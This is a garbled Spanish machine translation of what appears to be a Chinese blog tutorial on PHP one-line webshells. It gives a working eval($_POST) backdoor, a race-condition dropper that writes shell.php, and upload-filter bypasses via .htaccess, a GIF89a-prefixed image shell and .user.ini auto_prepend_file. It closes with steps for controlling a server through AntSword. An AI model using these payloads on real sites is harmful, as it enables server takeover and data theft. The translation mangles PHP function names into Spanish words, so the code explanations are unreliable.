¿Realmente entiendes una palabra caballo de Troya?

Tabla de contenido

I. Introducción:

2. ¿Qué es un caballo de Troya de una frase?

3. Un caballo de Troya común de una oración:

Explicación del caballo de Troya:

1, $_POST[cmd]

2, evaluar()

3, "@"

4. Ordenar el contexto

4. Un caballo de Troya de una oración que se puede usar para la competencia condicional:

Explicación del caballo de Troya:

1, abierto ()

2, entradas()

 3. Ordenar el contexto

5. Cuadro caballo

1. ¿Qué es un caballo de imagen?

2、.htaccess

3. Imagen del caballo de Troya

4. Extensión .user.ini

6. Uso adicional de un caballo de Troya de una oración

1. Conexión

2. Uso


I. Introducción:

  Una palabra caballo de Troya es un simple archivo de caballo de Troya que la mayoría de las personas de seguridad de Internet encuentran durante su aprendizaje inicial. Creo que muchas personas, como los blogueros, se sentirán muy mágicos cuando entren en contacto con esta pieza de código. código Puedo controlar el servidor, pero no conozco el principio. Solo entiendo su composición después de aprender PHP. Hoy, el blogger lo llevará a analizar un caballo de Troya de una oración. Blog http://blog.byzhb . arriba/

2. ¿Qué es un caballo de Troya de una frase?

  Un caballo de Troya de una oración es un código malicioso corto y ordenado, generalmente de una sola línea. Este tipo de caballo de Troya puede aprovechar algunas lagunas para implantar códigos maliciosos en el servidor de la víctima cargando archivos, modificando configuraciones, etc., y luego ejecutarlos en el lado del servidor a través de algunos métodos especiales para lograr el propósito de control de intrusión. Los atacantes pueden usar troyanos de una oración para robar información confidencial de sitios web, alterar el contenido del sitio web, atacar otros sitios web, crear daños y más. Debido a su pequeño tamaño y fuerte ocultación, los caballos de Troya son muy comunes en los ataques de piratas informáticos.

3. Un caballo de Troya común de una oración:

La mayoría de los troyanos de una frase con los que entramos en contacto son de este tipo, los troyanos usan el lenguaje PHP y deben usarse en sitios con un entorno PHP.

<?php @eval($_POST[cmd]);  ?>

Explicación del caballo de Troya:

1, $_POST[cmd]

$_POSTEs una variable súper global en PHP . Todas las variables que enviemos en modo POST en el navegador se guardarán en esta matriz, y el nombre de la variable es el nombre de la clave.

2, evaluar()

eval()Las funciones se utilizan en PHP para ejecutar código en una cadena y devolver el resultado de la ejecución . Esta función toma como parámetro una cadena que contiene el código PHP a ejecutar ( $_POST[cmd] en este código ), luego ejecuta ese código y puede devolver el resultado

Esta función tiene requisitos estrictos en la gramática de php, y la declaración entrante debe terminar con ";"

3, "@"

La función del símbolo " @ " es blindar el mensaje de error de la declaración , es decir, aunque la declaración se ejecute incorrectamente, el mensaje de error no se mostrará. Si la versión de PHP del sitio es >=8.0 , el El caballo de Troya mostrará una oración sin "@" de la siguiente manera:

 El motivo es: PHP informará un error al usar variables no definidas desde la versión 8.0

Cuando visitamos inicialmente este caballo de Troya, no pasamos valores a sus variables, por supuesto, se informará un error.

4. Ordenar el contexto

El significado general del caballo de Troya es usar la función eval para ejecutar la variable denominada cmd enviada por nuestra publicación como código PHP . La variable cmd puede ser cualquier código de ataque.

4. Un caballo de Troya de una oración que se puede usar para la competencia condicional:

Acerca de lo que es la competencia condicional, lea el artículo de este blogger http://t.csdn.cn/RFAgE

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>

Explicación del caballo de Troya:

1, abierto ()

El formato de esta función es fopen(filename, mode, include_path, context)

fopen('shell.php','w')

El significado de esta declaración es abrir un archivo llamado "shell.php" en modo de escritura . Este archivo no existe, por lo que se crea un archivo shell.php.

2, entradas()

El formato de la función es  fputs (archivo, cadena, longitud)

fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' )

El parámetro de archivo corresponde al   archivo shell.php generado por la instrucción fopen('shell.php','w')

El parámetro de cadena corresponde a la cadena   ' <?php @eval($_POST[cmd]); ?>' 

Es decir, la instrucción troyana se escribe en shell.php

 3. Ordenar el contexto

Esta función primero toma prestado el método w de la función fopen para crear el archivo shell.php y luego usa la función fputs para escribir '<?php @eval($_POST[cmd]); ?>'  en el archivo

En otras palabras, una vez que se accede al archivo, se generará un caballo de Troya de una oración llamado shell.php.El contenido del caballo de Troya se ha mencionado anteriormente.

5. Cuadro caballo

1. ¿Qué es un caballo de imagen?

Cuando el sitio prohíbe la carga de archivos php, podemos usar el archivo .htaccess para analizar la imagen jpg (u otro formato img) que contiene un caballo de Troya en un archivo php

2、.htaccess

El contenido del archivo es

<FilesMatch "jpg">  
SetHandler application/x-httpd-php
</FilesMatch>
//大体意思是设置当前目录所有带jpg的文件名都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则,则报错

Luego asígnele el nombre  .htaccess  y cárguelo

3. Imagen del caballo de Troya

El contenido del archivo es

GIF89a
<?php @eval($_POST[cmd]);  ?>

//GIF89a 为了绕过可能存在的MIME头检测

Luego asígnele el nombre shell.jpg y súbalo. Después de cargarlo, visite su ruta para pasar los parámetros

4. Extensión .user.ini

El contenido del archivo es

auto_prepend_file=shell.jpg

//意思就是当前目录中的php文件的页头会自动去包含shell.jpg中的文件内容
auto_append_file 是页尾包含

El nombre del archivo es  .usuario.ini

Los pasos de operación son similares a .htaccess

6. Uso adicional de un caballo de Troya de una oración

Podemos usar herramientas webshell como Ant Sword, Kitchen Knife y Ice Scorpion para hacer un uso más completo de los caballos de Troya de una palabra.Aquí tomamos Ant Sword como ejemplo.

1. Conexión

La dirección URL es la URL del sitio + la ruta de carga del troyano

La contraseña de conexión es el nombre de la variable POST en shell.php

2. Uso

Después de que la conexión sea exitosa, puede atravesar el directorio del servidor del sitio web, ejecutar operaciones de comando o realizar una operación de escalada de privilegios de un paso

Supongo que te gusta

Origin blog.csdn.net/Elite__zhb/article/details/130157882
Recomendado
Clasificación